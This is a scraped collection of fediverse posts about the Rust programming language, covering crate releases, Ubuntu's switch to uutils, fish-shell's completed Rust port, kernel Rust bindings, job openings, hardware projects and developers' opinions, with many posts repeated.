Since I was skeptical when the account followed me, I asked.
@rustfoundation is legitimate and not impersonation.
The Rust crate Askama (used to make jinja rendering) 0.13.0-pre.0 version just got released. Rinja and Askama are now one again.
More explanations on this blog post.
Blog of Guillaume Gomez (Askama and Rinja merge)
@pcalcado awesome read! Btw, I had a super weird thing happen to me when I was between founder jobs: I interviewed to a cryptographic R&D company and at the final round they asked me to implement tetris in 40 minutes.
After the interview I looked up smallest tetris implementation in #Rust and it's 160 lines without data modelling. So I was expected to write 4 loc / minute while solving the problem and telling them what was I thinking about. 🤔
Clearly impossible! Told them "I'm not a competitive programmer" and made a grimace when I heard the question. Maybe I should have told them that I won't be doing this in that amount of time? Idk...
I got a rejection saying that I'm not technically proficient enough, but I have a very strong feeling that it was a test of "attitude, not skill".
What do you think about adversarial hiring tricks like this? Do you think if I would have refused, they would have given me a sub task? Does the company just suck and I dodged a bullet? 🤔
Rust cargo is the new npm-packages lol
I'm going to make make Rust my first AI-only language. I learned some #rust but have never built anything significant with it BY HAND. I intend to keep it that way, and apply CHOP (CHat Oriented Programming as coined by Steve Yegge) only with anything I produce in Rust.
We had a discussion today about the future of programming languages with LLMs becoming good.
Do we need "AI Native" languages and what would they look like? My intuition would be that Rust is actually is a good fit, for a few reasons:
1. Safety
2. Performance
3. Easy to read, but hard to write. And if the LLM does the writing, that's actually not a problem.
4. Very strongly typed, which I think benefits LLMs a lot because it gives itself a very quick feedback loop — if it compiles, it's probably correct.
I've spent the better part of the day with Claud Code writing a program that otherwise I would probably have hacked in TypeScript or Python. Instead, I had Claude Code generate Rust code and it went really well. The result feels very robust, and it is fast.
Although I don't know Rust intimately, I do assume general programming principles apply like in any other language. I can read the code the LLM writes and to challenge it with general engineering practices. On many occasions have I asked it to write tests, refactor the code, take a completely different implementation approach. I may not know the subtleties of Rust as a language, but I'm not sure that it matters.
And picking a language I can't easily write myself has proven to be a very effective strategy to fight the urge to step in and do it myself.
Share of programming languages used by #GTK3 / #GTK4 applications (2025-03-16):
28% #Python
21% #Vala
20% #Rust
17% #C
06% #C++ #Cplusplus
06% #gjs #Javascript
04% Other: #Csharp #Go #Lua #Haskell #Swift #Typescript #Crystal #Swift #D #Perl
63% use GTK4 (90% of them use #libadwaita), while still 37% use GTK3
Method: Source [1] lists 543 awesome #gtk (3/4) #opensource applications and their #programminglanguage
[1] https://github.com/valpackett/awesome-gtk
github.com
List of awesome GTK (3/4) applications. Contribute to valpackett/awesome-gtk development by creating an account on GitHub.
Share of programming languages used by #GTK3 / #GTK4 applications (2025-03-16):
28% #Python
21% #Vala
20% #Rust
17% #C
06% #C++ #Cplusplus
06% #gjs #Javascript
04% Other: #Csharp #Go #Lua #Haskell #Swift #Typescript #Crystal #Swift #D #Perl
63% use GTK4 (90% of them use #libadwaita), while still 37% use GTK3
Method: Source [1] lists 543 awesome #gtk (3/4) #opensource applications and their #programminglanguage
[1] https://github.com/valpackett/awesome-gtk
github.com
List of awesome GTK (3/4) applications. Contribute to valpackett/awesome-gtk development by creating an account on GitHub.
Generate impressive-looking terminal output, look busy when stakeholders walk by
github.com
Generate impressive-looking terminal output to look busy when stakeholders walk by - giacomo-b/rust-stakeholder
#Ubuntu is moving away from GNU coreutils to Rust-based uutils coreutils with Ubuntu 25.10. There are two big differences with this move:
1. uutils coreutils is MIT licensed, not GPL.
2. Obviously, it's written in Rust, a memory-safe compiled language, unlike C.
IMO, this is a good move.
https://discourse.ubuntu.com/t/carefully-but-purposefully-oxidising-ubuntu/56995
discourse.ubuntu.com
Last month I published Engineering Ubuntu For The Next 20 Years, which outlines four key themes for how I intend to evolve Ubuntu in the coming years. In this post, I’ll focus on “Modernisation”. There are many areas we could look to modernise in Ubuntu: we could focus on the graphical shell experience, the virtualisation stack, core system utilities, default shell utilities, etc. Over the years, projects like GNU Coreutils have been instrumental in shaping the Unix-like experience that Ubuntu ...
I found myself agreeing with everything in this post from Steve:
https://steveklabnik.com/writing/choosing-languages/
I don't think that the brigade of "Rewrite it in Rust" people is nearly as common or big as all too often claimed, but for if you ever appreciated what either Steve or I ever had to say, and have an impulse to brigade a project on GutHub or social media (even accidentally! If you arrive early you might not realize 2000 people are coming right after you), please don't. It's pointless. It's draining. It can be abusive. And it's counter productive.
steveklabnik.com
I found myself agreeing with everything in this post from Steve:
https://steveklabnik.com/writing/choosing-languages/
I don't think that the brigade of "Rewrite it in Rust" people is nearly as common or big as all too often claimed, but for if you ever appreciated what either Steve or I ever had to say, and have an impulse to brigade a project on GutHub or social media (even accidentally! If you arrive early you might not realize 2000 people are coming right after you), please don't. It's pointless. It's draining. It can be abusive. And it's counter productive.
steveklabnik.com
L’objectif est de faciliter le partage d’informations et d’activités.
Cela inclut l’automatisation de l’accueil des nvx membres, la mise en place de forums et chats, un calendrier, un système de petites annonces, des outils pour le reporting des activités, des outils de veille sur des flux RSS ainsi que des interconnexions entre assos et à des sites voisins.
Intéressé ?
#association #ethiciel #loi1901 #projet #dev #linux #python #php #nodejs #typescript #rust avec l'aide des #chatonsorg
So I'm coming to terms with #Rust after a career in C and Java. I like Go, I may pursue it in a year or two.
I have always hated the Corporate Standard. The people who enforce it can't do a lick of work in it anyway. I call my teams "the talent" .
The Microsoft team chose Go because it seemed to be the appropriate choice - and good on Microsoft for letting the talent make that choice.
I ditched #javascript for #rust, but deno and wasm are making it hard to resist 😮...
I had many concerns about things **not** provided by #rustlang #rust when I started this journey. I tooted about them. You can look back at my history to see. As I have learned, I have seen what Rust has instead of each missing feature. #til about `catch_unwind` and looked deeper into `Result`s. So now I feel better about Rust not having #Python exceptions.
I still don’t see a replacement for Python’s keyword arguments or default values in function calls. Every time I mention this, people reply that I shouldn’t have so many arguments that I need these things. That’s absolutely not why I want them. I want them because they are better than comments at helping the reader understand what is happening without diving down into the function definition.
I think it is cool that #typescript is being rewritten in a faster language and in my opinion this is the kind of niche where #golang excels. Their reasoning boiling down to Go providing 10x performance for low effort rewrite vs >10x for much more effort in <whatever-language> is what I'd call a pragmatic choice. Not everything needs to be hype-driven development, and I say that as a #rust wannabe.
they implemented #Discord in #Rust waow
https://x.com/playrust/status/1898388272738373920?s=46
#Rust famously runs unit tests in parallel. This is usually great, but I have a peculiar situation.
I have a test A, that checks if function A works correctly. I have several other tests B, C, …, that check if functions B, C, … work correctly.
Functions B, C, … call function A. This is a problem because function A could potentially trash the developer's $HOME if it works incorrectly, so it really needs to be tested *first*, and functions B, C, … must not be called if test A fails.
Developing apps is even more rewarding with Nextcloud Hub 10! 🧑💻
Now built into Nextcloud: develop apps in any dev language using our AppAPI and deploy via #Docker!
🔗 Read more with other improvements in our blog:
nextcloud.com
Welcome Nextcloud Hub 10 - reinforced performance, deeper integration, and dozens of new features that will make your day easier!
Developing apps is even more rewarding with Nextcloud Hub 10! 🧑💻
Now built into Nextcloud: develop apps in any dev language using our AppAPI and deploy via #Docker!
🔗 Read more with other improvements in our blog:
nextcloud.com
Welcome Nextcloud Hub 10 - reinforced performance, deeper integration, and dozens of new features that will make your day easier!
Any good #Rust libraries for parsing, constructing, and working with URLs?
The `url` crate (from servo) *only* works with absolute URLs. I need some sort of “domain-less” relative URLs.
I've been playing around with Niri as a Wayland compositor for the last few weeks, as opposed to my normal Sway. It's nice!
Anyway, I decided I wanted a more Niri-specific taskbar module for Waybar, and ended up using Waybar's CFFI interface to build one in Rust, which turned out to be (mostly) fun. I wrote about it here: https://lawngno.me/blog/2025/03/06/niri.html
lawngno.me
As a long term believer in it being the year of Linux on the desktop, I’ve been using Sway for several years as my main compositor and, by extension, desktop. Like a lot of people, I combine that with Waybar to provide some basic desktop environment functionality like a system tray, clock, etc.
I've been playing around with Niri as a Wayland compositor for the last few weeks, as opposed to my normal Sway. It's nice!
Anyway, I decided I wanted a more Niri-specific taskbar module for Waybar, and ended up using Waybar's CFFI interface to build one in Rust, which turned out to be (mostly) fun. I wrote about it here: https://lawngno.me/blog/2025/03/06/niri.html
lawngno.me
As a long term believer in it being the year of Linux on the desktop, I’ve been using Sway for several years as my main compositor and, by extension, desktop. Like a lot of people, I combine that with Waybar to provide some basic desktop environment functionality like a system tray, clock, etc.
🇫🇮🐍 Welcome to our next meetup on Wednesday 19th March 2025 at Taiste:
Talks:
✒️ @hamatti - Why developers should write blog posts
💉 Sakari Cajanus - Dependency injection in Python (or why Python is not Java)
🦀 Mislav Novakovic - Refactoring to Rust
And the famous HelPy quiz!
https://www.meetup.com/helpy-meetups/events/306522919/
Please also drop us a line if you’d like to give a talk in April or beyond ⭐
#HelPy #Helsinki #Python #meetup #writing #blogging #DependencyInjection #Rust
meetup.com
Welcome to our third event of 2025, graciously hosted by [Taiste](https://www.taiste.fi/en)! **Talks:** * [Juha-Matti Santala](https://www.linkedin.com/in/juhamattisantal
Just added the --emit=dep-info option on rustdoc. If you write a build system using rustdoc, I think you might be interested. :)
github.com
Fixes #91982. This PR adds the --emit=dep-info command line flag support. It will be helpful for cargo development. cc @epage r? @notriddle
Just added the --emit=dep-info option on rustdoc. If you write a build system using rustdoc, I think you might be interested. :)
github.com
Fixes #91982. This PR adds the --emit=dep-info command line flag support. It will be helpful for cargo development. cc @epage r? @notriddle
My recent build of a #chorded #keyboard, a clone of Chordite. Work-in-progress firmware in #rust and (still some) C at: https://github.com/akavel/chordite-rust
Planned next steps:
- practicing actually typing on it... (the hardest one);
- tweaking and "improving" the layout and functionalities (a neverending story?) - interested in anyone who might somehow help make some sensible one given the constraints of the device;
- hopefully adding mouse functionality based on a gyroscope module (some "MPU6050" board is on its way) - will it work fine enough?
- maybe one day wireless through BLE?
Once I have the mouse functionality built and added, my main goal is to try and be using it with #XReal One glasses I bought recently.
Thanks @rahix for avr-hal; thanks @PaulStoffregen for #teensy; thanks John W. McKown for creating #Chordite, thanks @rustembedded for helping make Rust on embedded possible; thanks my amazing friend for soldering it for me, and thanks many others for many other things.
A prototype chorded keyboard being held in a left hand. Thumb is below a cardboard-like rectangle, remaining fingers pass through a hole and rest on greenish switches visible over the rectangle. A USB cable is visible below the cardboard.
A cardboard rectangle with a narrow rectangular hole on its left side. To the right of the hole, eight switches are visible, arranged in two irregular rows of four, each row roughly parallel to the hole on the left. Some thin metal bars are visible between the switches, holding them to the cardboard with small tightened screws. A white USB cable is extending to the right from below, neatly tied in a loop with a piece of red velcro.
A cardboard rectangle with a narrow rectangular hole on its left side. To the right of the hole, four narrow slits are visible, perpendicular to the hole. A bunch of colorful wires come out of the slits, ziptied near the bottom and going back up and right into a Teensy printed circuit board attached to the cardboard. A USB cable extends out of the PCB. Two thin black metal stripes are also visible arranged vertically, with small screw heads visible over them. The whole assembly rests on a cutting board.
My recent build of a #chorded #keyboard, a clone of Chordite. Work-in-progress firmware in #rust and (still some) C at: https://github.com/akavel/chordite-rust
Planned next steps:
- practicing actually typing on it... (the hardest one);
- tweaking and "improving" the layout and functionalities (a neverending story?) - interested in anyone who might somehow help make some sensible one given the constraints of the device;
- hopefully adding mouse functionality based on a gyroscope module (some "MPU6050" board is on its way) - will it work fine enough?
- maybe one day wireless through BLE?
Once I have the mouse functionality built and added, my main goal is to try and be using it with #XReal One glasses I bought recently.
Thanks @rahix for avr-hal; thanks @PaulStoffregen for #teensy; thanks John W. McKown for creating #Chordite, thanks @rustembedded for helping make Rust on embedded possible; thanks my amazing friend for soldering it for me, and thanks many others for many other things.
A prototype chorded keyboard being held in a left hand. Thumb is below a cardboard-like rectangle, remaining fingers pass through a hole and rest on greenish switches visible over the rectangle. A USB cable is visible below the cardboard.
A cardboard rectangle with a narrow rectangular hole on its left side. To the right of the hole, eight switches are visible, arranged in two irregular rows of four, each row roughly parallel to the hole on the left. Some thin metal bars are visible between the switches, holding them to the cardboard with small tightened screws. A white USB cable is extending to the right from below, neatly tied in a loop with a piece of red velcro.
A cardboard rectangle with a narrow rectangular hole on its left side. To the right of the hole, four narrow slits are visible, perpendicular to the hole. A bunch of colorful wires come out of the slits, ziptied near the bottom and going back up and right into a Teensy printed circuit board attached to the cardboard. A USB cable extends out of the PCB. Two thin black metal stripes are also visible arranged vertically, with small screw heads visible over them. The whole assembly rests on a cutting board.
OK, I'm getting close to caving and publishing https://github.com/sminez/crimes as an actual crate if I can round out the documentation and test suite...
Things that have changed my mind:
1. https://docs.rs/genawaiter/latest/genawaiter/ is already a thing, using a somewhat similar approach? But it looks like its abandoned and makes use of proc macros. Either way, it looks like there's prior art in this space and I _think_ what I've got is a little neater? Not sure about performance yet though.
2. The more I add QOL methods and helpers to this, the more it feels like an actual nice API(!)
3. Now I _really_ want to use it inside of ad and see what sorts of mischief I can get up to 😈
All that said, I think I'll write a follow up to https://www.sminez.dev/socrates-is-a-state-machine/ first to try and encourage people to take a look at the design and tear me a new one when they find issues in it.
If that goes reasonably well, then please direct your "why have you done this?!" complaints to @oac as he's the one encouraging me 😅
@fasterthanlime not sure if you pay attention to mentions, but given that this was inspired by your recent article I'd like to give you credit (/ hold you partly responsible depending on your point of view!)
sminez.dev
OK, I'm getting close to caving and publishing https://github.com/sminez/crimes as an actual crate if I can round out the documentation and test suite...
Things that have changed my mind:
1. https://docs.rs/genawaiter/latest/genawaiter/ is already a thing, using a somewhat similar approach? But it looks like its abandoned and makes use of proc macros. Either way, it looks like there's prior art in this space and I _think_ what I've got is a little neater? Not sure about performance yet though.
2. The more I add QOL methods and helpers to this, the more it feels like an actual nice API(!)
3. Now I _really_ want to use it inside of ad and see what sorts of mischief I can get up to 😈
All that said, I think I'll write a follow up to https://www.sminez.dev/socrates-is-a-state-machine/ first to try and encourage people to take a look at the design and tear me a new one when they find issues in it.
If that goes reasonably well, then please direct your "why have you done this?!" complaints to @oac as he's the one encouraging me 😅
@fasterthanlime not sure if you pay attention to mentions, but given that this was inspired by your recent article I'd like to give you credit (/ hold you partly responsible depending on your point of view!)
sminez.dev
Rust is good because it’s a language whose compiler enforces the invariant that the only program with no bugs is a program with no lines of code, and so the only safe program is the empty program and I think that’s beautiful 🦀🦀🦀
mastodon.social
Me: *Writes a line of code* Me: *Remembers that writing code is not allowed in Rust* Me: *Deletes line of code*
The Blink engine is being used in a lot of places. If I'm not mistaken this is also the engine used in #Electron.
WebKit in itself can be found everywhere in the open source world, but it is also maintained by #Apple.
But what about #Servo? The former Mozilla project turned #LinuxFoundation project based on #rust. There is no Servo web browser in the wild so far, that I know of.
But in essence, thems the only 3:
1. Blink
2. WebKit
3. Servo
4. Gecko (but... #Mozilla)
The Blink engine is being used in a lot of places. If I'm not mistaken this is also the engine used in #Electron.
WebKit in itself can be found everywhere in the open source world, but it is also maintained by #Apple.
But what about #Servo? The former Mozilla project turned #LinuxFoundation project based on #rust. There is no Servo web browser in the wild so far, that I know of.
But in essence, thems the only 3:
1. Blink
2. WebKit
3. Servo
4. Gecko (but... #Mozilla)
#fishshell rewrite-it-in #rust progress, 2025-02-27
76776 / 76776 C++ lines removed
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ 100%
--
We pushed out a beta a couple of months ago, but we finally sorted the full release!
https://github.com/fish-shell/fish-shell/releases/tag/4.0.0
It should be in your favourite package manager reasonably soon.
fish’s core code has been ported from C++ to Rust (#9512). This means a large change in dependencies and how to build fish. However, there should be no direct impact on users. Packagers should see ...
#fishshell rewrite-it-in #rust progress, 2025-02-27
76776 / 76776 C++ lines removed
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ 100%
--
We pushed out a beta a couple of months ago, but we finally sorted the full release!
https://github.com/fish-shell/fish-shell/releases/tag/4.0.0
It should be in your favourite package manager reasonably soon.
fish’s core code has been ported from C++ to Rust (#9512). This means a large change in dependencies and how to build fish. However, there should be no direct impact on users. Packagers should see ...
Christoph Hellwig, who recently vetoed dma-mapping #rust bindings, stepped down as maintainer for the dma-mapping[1] and configfs[2] subsystems of the #Linux #kernel.
[1] https://git.kernel.org/torvalds/c/f7d5db965f3e132887779c6b449452db2b807caa
[2] https://git.kernel.org/torvalds/c/815291c11acda54515f1af5ce6fe307490de9127
git.kernel.org
Christoph Hellwig, who recently vetoed dma-mapping #rust bindings, stepped down as maintainer for the dma-mapping[1] and configfs[2] subsystems of the #Linux #kernel.
[1] https://git.kernel.org/torvalds/c/f7d5db965f3e132887779c6b449452db2b807caa
[2] https://git.kernel.org/torvalds/c/815291c11acda54515f1af5ce6fe307490de9127
git.kernel.org
** Announcement ** Check out all the selected speakers for RustWeek 2025!
See https://rustweek.org/speakers/
Also see the schedule for both conference days:
Tue: https://rustweek.org/schedule/tuesday/
Wed: https://rustweek.org/schedule/wednesday/
2025.rustnl.org
RustWeek 2025, The Netherlands - May 13 - 17 2025
** Announcement ** Check out all the selected speakers for RustWeek 2025!
See https://rustweek.org/speakers/
Also see the schedule for both conference days:
Tue: https://rustweek.org/schedule/tuesday/
Wed: https://rustweek.org/schedule/wednesday/
2025.rustnl.org
RustWeek 2025, The Netherlands - May 13 - 17 2025
Delphi climbs into the top 10 in the Tiobe index – Rust at all-time high
In February, some positions shifted in the Tiobe Index: Rust and Delphi rose, while PHP fell.
heise.de
In February, some positions shifted in the Tiobe Index: Rust and Delphi rose, while PHP fell.
fediverse.keithzg.ca
The recent issue with matrix signing keys (https://hdev.im/@farcaller/114043928830424018) got me thinking why I don’t like rust (in which conduit is written). #Rust is very hard to reason with at glance.
If you don’t have an LSP at hand, you can only vaguely figure out which types are where. It's pretty much impossible to go from a method call to its implementation by name alone. The code is messy with various symbols and evokes the feelings of dread^W perl.
Compare that with go. The code is arguably full of boilerplate, but it's an easy to read boilerplate. I got asked about kube-controller-manager recently and I just went to k8s sources, found the init loops and reasoned with what KCM does within minutes.
Every time I need to touch the lemmy source code I feel like finding ways to aviod it. Sure rust has its benefits, it's fast and efficient and so hard to just read.
hdev.im
#Matrix is unbelievably cursed. What happens if you lost your signing keys? It seems that you can just abandon the domain name forever, given that other servers won't ever be able to federate properly with it. And conduit is even worse. How do you rotate the signing key? Who cares. How do you backup it? Oh, just back up the whole DB. Edit: got asked about context. Here's context for synapse: https://element-hq.github.io/synapse/latest/usage/administration/admin_faq.html#i-have-a-problem-with-my-server-can-i-just-delete-my-database-and-start-again. Conduit stores the server keys inside rocksdb and it's seemingly impossible to extract them without the low level db debugging tools. And there's no rotation in there as far as I could search through the source code.
Today I'm releasing niri v25.02 with tabs, shadows, DnD view scrolling, and a ton of other improvements! Read the release notes at https://github.com/YaLTeR/niri/releases/tag/v25.02 and @ your distro to update the package.
[[honestly wtf how did so much stuff happen, it's been barely over a month]]
Showcasing several features in the niri v25.02.
Today I'm releasing niri v25.02 with tabs, shadows, DnD view scrolling, and a ton of other improvements! Read the release notes at https://github.com/YaLTeR/niri/releases/tag/v25.02 and @ your distro to update the package.
[[honestly wtf how did so much stuff happen, it's been barely over a month]]
Showcasing several features in the niri v25.02.
Rewriting essential Linux packages in Rust - Summary by LWN of a talk by Sylvestre Ledru at #FOSDEM 2025 conference #Rust https://lwn.net/Articles/1007907/
Rewriting essential Linux packages in Rust - Summary by LWN of a talk by Sylvestre Ledru at #FOSDEM 2025 conference #Rust https://lwn.net/Articles/1007907/
Implicit return takes some getting used to in #rust
@glyph I wrote some generic code in #Rust to convert multi-GB XML files into Parquet without having to load the entire thing into RAM. Derive macros feel like magic once you get the hang of them.
The definitions of the (nearly 100) data object structures in the XML are now pleasingly boilerplate-free:
#[derive(FromXml, ToArrow)]
struct MyObj {
#[from_xml(element = "my-data")]
data: String,
}
With some cleanup it might even be worth open sourcing, if anyone else has a use for it.
@glyph I wrote some generic code in #Rust to convert multi-GB XML files into Parquet without having to load the entire thing into RAM. Derive macros feel like magic once you get the hang of them.
The definitions of the (nearly 100) data object structures in the XML are now pleasingly boilerplate-free:
#[derive(FromXml, ToArrow)]
struct MyObj {
#[from_xml(element = "my-data")]
data: String,
}
With some cleanup it might even be worth open sourcing, if anyone else has a use for it.
If you're in King's Hall at #RustNationUK, I found the crate Adam Harvey told us not to post on the social media about!
deps.dev
This is what the #rust book (and I guess most Rust documentation, since the Rust book was generated using the same tool) looks like in #emacs' integrated browser, "eww". A bit concerning when you consider that these are static pages of mostly text-based information - why doesn't it look more accessible?
Screenshot of emacs in eww showing a web page, missing crucial navigational elements like "forward" and "backward" or a chapter selection
@jgayfer It also depends on your personality.
I have seen careful and pedantic coders build impressive things with python and js while I tend to make a mess that's impossible to maintain. I also waste many hours debugging.
So for me, a strictly typed language leads to long term productivity. I also take on bigger problems with confidence.
It's official: I'm in the three comma club.
1,037,874,709 total downloads
Dear #Rust #RustLang folks: What are a variety of ways to pass down context in a structured matter through your function calls?
Thread-friendly, stack based, extensible/unwinding, even struct-based ideas are all welcome. I can think of a few but I wanna know of any I’m missing!
Think, for example, deciding what stream a logger will write do based on the context it’s called, and being able to override it for subcalls.
Starting a fresh new profile, let's introduce me.
I'm Nicolas from north of France, I like old computers, I have a collection of #amiga, #C64, #amstrad, #atari. I also like #computerhistory and started to code emulators, I made a #teletype, #altair and #Intel8080 emulator, and also a #Z80 then a #trs80 emulator coded in #rust. Currently experimenting with #Zig, and #riscv64 assembly.
Guess which #rust crate is used mostly at work and which one is also used on side projects.
The download stats of two crates: bacon and lazy-regex. The one of lazy-regex differs by having almost no downloads on week-ends.
I should learn and use #rust. I could use it for work projects, and it would fit neatly, with being safe, fast, and easily installable/deployable.
But it somehow doesn't "tickle" me. I keep coming back to these (comparatively) more exotic languages like #haskell. Not sure why, but I think it offers more learning experiences, possibly more rigidity?
People will keep using C/C++ until other languages stop pulling shit like this...
Rust complaining that I made my variable names prettier
People: Rust is a stable language that takes backwards-compatibility very seriously.
Rust: This code compiles on 1.81 and fails to compile on 1.82.
https://godbolt.org/z/9GbbMKjcf
At least Python doesn't pretend to be backwards-compatible when they break things.
godbolt.org
trait OptionExt { fn is_none_or(&self) { println!("Hello, world!"); } } impl<T> OptionExt for Option<T> {} fn main() { None::<()>.is_none_or(); }
Someone released a Open Source FPGA Gameboy like the Analogue Pocket on GitHub.(Firmware is written in Rust 🤓)
This whole category might get now very very interesting.
#retrogaming #analoguepocket
#gameboy #fpga #opensource #rust
github.com
Open-source FPGA retro emulation handheld . Contribute to elipsitz/gamebub development by creating an account on GitHub.
Someone released a Open Source FPGA Gameboy like the Analogue Pocket on GitHub.(Firmware is written in Rust 🤓)
This whole category might get now very very interesting.
#retrogaming #analoguepocket
#gameboy #fpga #opensource #rust
github.com
Open-source FPGA retro emulation handheld . Contribute to elipsitz/gamebub development by creating an account on GitHub.
dear experienced #rustaceans of the fediverse - if you are interested in a remote job with a good supportive company (defensive cybersecurity, not web3 bs), hmu, there may be an opportunity on my team very soon!!!
i don't know yet the level, but i reckon it's going to be senior+. but it's good work with a good team and I'd love more women and/or queers in general on the team with me 😁😁😁
always hearing about how trans people love #rust , and yet I'm the only trans rust dev here, what's up with that?
dear experienced #rustaceans of the fediverse - if you are interested in a remote job with a good supportive company (defensive cybersecurity, not web3 bs), hmu, there may be an opportunity on my team very soon!!!
i don't know yet the level, but i reckon it's going to be senior+. but it's good work with a good team and I'd love more women and/or queers in general on the team with me 😁😁😁
always hearing about how trans people love #rust , and yet I'm the only trans rust dev here, what's up with that?
I am starting to learn rust, at which point should I order the thigh highs? 
#rust #programming #programmingsocks
#rust newbie questions:
Do you generally try to find existing crates for everything for maximum reuse? When do you resort to (re)writing routines yourself?
How do you assess the trustworthiness of a crate? For example, I check if cargo itself depends on it, must be fairly reliable if it does. Better tips?
For example, in Python I try to stick to the extensive standard library, use pypi dependencies conservatively, and choose them carefully.
Did you know that the #Rust programming language is not named after the product of iron corrosion, but rather the group of fungi? 
#programming
bbs.kawa-kun.com
Did you know that the #Rust programming language is not named after the product of iron corrosion, but rather the group of fungi? #programming
bbs.kawa-kun.com
@fasterthanlime are there any specific elements that make you think the post is aimed at #rust ?
I’m afraid I’m missing some context here; still, yeah, let me implement a linked list one more time :/
Here is this week's #Linux and #OpenSource News video!
In this one, we have #AI coming to #Fedora in the future, the lead developer and maintainer on Asahi Linux quitting the kernel after some more #Rust related problems, and a lot more:
youtube.com
Check out TuxCare's Endless Lifecycle support for .NET 6: https://tuxcare.com/endless-lifecycle-support/net-eol-support/?utm_campaign=The%20Linux%20Experimen...
Run Rust (left) in JavaScript (right) via wasm
So far:
- built with #rust
- #p2p file tranfers
- keeps you in your comfy terminal
- no need of opening a browser (unlike pastebin)
Just great!
github.com
A tool to send files and directories, based on iroh - n0-computer/sendme
Sendme
– from @n0iroh
File transfer doesn't need to be complicated. It's like scp without needing to know the IP address. Add some files to sendme, and it will give you a pastable ticket that you can give to anyone who needs your files. Sendme will connect your devices directly & transfer the data without any accounts or configuration.
📨 https://www.iroh.computer/sendme
#sendfiles #filesharing #nopasswords #rust #rustlang #terminal #sendme #web
iroh.computer
less net work for networks
Run Rust (left) in JavaScript (right) via wasm
this is the best unintentional critique of "make illegal states unrepresentable" I've seen https://lobste.rs/s/wucizv/no_panic_rust_nice_technique_for_systems#c_ysdzf9 tl;dr "shit happens"
lobste.rs
I'm currently looking for a remote software development job
I have plenty of experience making software using all sorts of languages, frameworks and tools. Tho I have the most experience with Rust, C++, C#. I also usually do native cross platform applications and backend.
You can find my full CV on my website https://luna.graphics
#GetFediHired #JobSearch #RemoteWork #Rust #Rustlang #CPP #CSharp #Backend
luna.graphics
I'm currently looking for a remote software development job
I have plenty of experience making software using all sorts of languages, frameworks and tools. Tho I have the most experience with Rust, C++, C#. I also usually do native cross platform applications and backend.
You can find my full CV on my website https://luna.graphics
#GetFediHired #JobSearch #RemoteWork #Rust #Rustlang #CPP #CSharp #Backend
luna.graphics
Howdy #Rust / #RustLang folks!
I'm starting to dip my toe into desktop GUI work again. The last time I tried this, the best option was GTK bindings for Rust. Actually shipping an app doing that was ... an exercise left for the reader. I did eventually get something to work, but it was a big pain.
Nowadays, it looks like we have better options. I've looked at a bunch of different offerings already, which I'll briefly describe below, but is there anything I'm missing?
The clear front runner for me at the moment is Tauri. It has most of the power of the web as a UI, including robust support for accessibility. 
Among the other serious contenders I looked at was Iced, which looks pretty promising, but accessibility support (via accesskit) has been on the roadmap for ... a couple years now? Who knows when that will ever be usable.
I'm also aware of Slint. It looks like it's mostly designed for embedded applications though, which mine is very not.
Other options I've seen look like they're not quite ready for primetime yet. Having good accessibility support in the UI system itself seems like a good differentiator between projects I could actually use for this, and projects that are currently in an unserious phase.
What's everyone else's experiences in Rust GUI-land?
I made a thing to view .fit files as images directly in the terminal #rust #astronomy https://github.com/Fingel/f2i
github.com
Preview .fits files directly in the terminal and convert them to images. - Fingel/f2i
We've got some exciting job openings at #Thunderbird! We're hiring for a Sr. UX Design Specialist, A #Rust /C++ Software Engineer for the desktop app, and......a Senior #iOS Engineer to join our mobile team to help us bring Thunderbird to your iPhone and iPad!
Help us spread the word!
https://www.mozilla.org/careers/listings/?team=MZLA/Thunderbird
mozilla.org
We have a mighty mandate, serving hundreds of millions of people. Add a culture of exploration, and there is always a new way to learn and grow here.
We've got some exciting job openings at #Thunderbird! We're hiring for a Sr. UX Design Specialist, A #Rust /C++ Software Engineer for the desktop app, and......a Senior #iOS Engineer to join our mobile team to help us bring Thunderbird to your iPhone and iPad!
Help us spread the word!
https://www.mozilla.org/careers/listings/?team=MZLA/Thunderbird
mozilla.org
We have a mighty mandate, serving hundreds of millions of people. Add a culture of exploration, and there is always a new way to learn and grow here.
We've got some exciting job openings at #Thunderbird! We're hiring for a Sr. UX Design Specialist, A #Rust /C++ Software Engineer for the desktop app, and......a Senior #iOS Engineer to join our mobile team to help us bring Thunderbird to your iPhone and iPad!
Help us spread the word!
https://www.mozilla.org/careers/listings/?team=MZLA/Thunderbird
mozilla.org
We have a mighty mandate, serving hundreds of millions of people. Add a culture of exploration, and there is always a new way to learn and grow here.
The e-mail client meli is getting more rigorous and serious testing!
I have implemented a mock IMAP server from scratch using the wonderful `imap-codec` crate (thanks @duesee ), and a mock JMAP server using only JMAP bindings from meli itself. Hopefully we will be able to re-use this code to test many scenarios where meli must react to server changes and behavior correctly.
(1/5)
Screenshot of a terminal email client, with a text user interface (TUI) called "meli"
This marks my very first technical blog post, Interning at @servo has been an absolute joy—I’ve learned so much about browsers, Rust, and the open source community, and I’m beyond grateful!
https://chickenleaf.wordpress.com/2025/01/20/half-cooked-and-still-stirring/
chickenleaf.wordpress.com
Browsers are simply so much cooler than I ever gave them credit for. It is about halfway through my Outreachy internship, and I have still not fully processed how mind blowing it is that these thin…
This marks my very first technical blog post, Interning at @servo has been an absolute joy—I’ve learned so much about browsers, Rust, and the open source community, and I’m beyond grateful!
https://chickenleaf.wordpress.com/2025/01/20/half-cooked-and-still-stirring/
chickenleaf.wordpress.com
Browsers are simply so much cooler than I ever gave them credit for. It is about halfway through my Outreachy internship, and I have still not fully processed how mind blowing it is that these thin…
https://kulli.sh is the project that I'm probably the most proud of after komorebi
I will never understand why it never got more love - komorebi is cool, but hardly unique, while there is truly nothing else in existence like Kullish
kulli.sh
'Bring Your Own Links' Comment Aggregation
🥳 "'We are almost at the "write a real driver in #rust" stage now, depending on what you want to do."' 🥳
That's what @gregkh wrote in the comment for the main driver core and debugfs updates merged for #Linux 6.14, as it contained "driver core rust bindings for PCI, platform, OF, and some i/o functions"; there is also a "misc device rust bindings and a sample driver to show how to use them":
https://git.kernel.org/torvalds/c/2ab002c755bfa88777e3f2db884d531f3010736c
We just released wasmVision 0.2 along with wasmCV 0.7 just in time for @fosdem
Come see our talk in the #webassembly dev room on Sunday at noon!
fosdem.org
anyone interested in helping out with maintaining the message parser for #deltachat desktop?
It's #test_driven_development like a #coding_puzzle, written in #rust 
with the #nom parser combinator library.
Repo: https://github.com/deltachat/message-parser
We have some bugs that I currently don't have the capacity to fix.
github.com
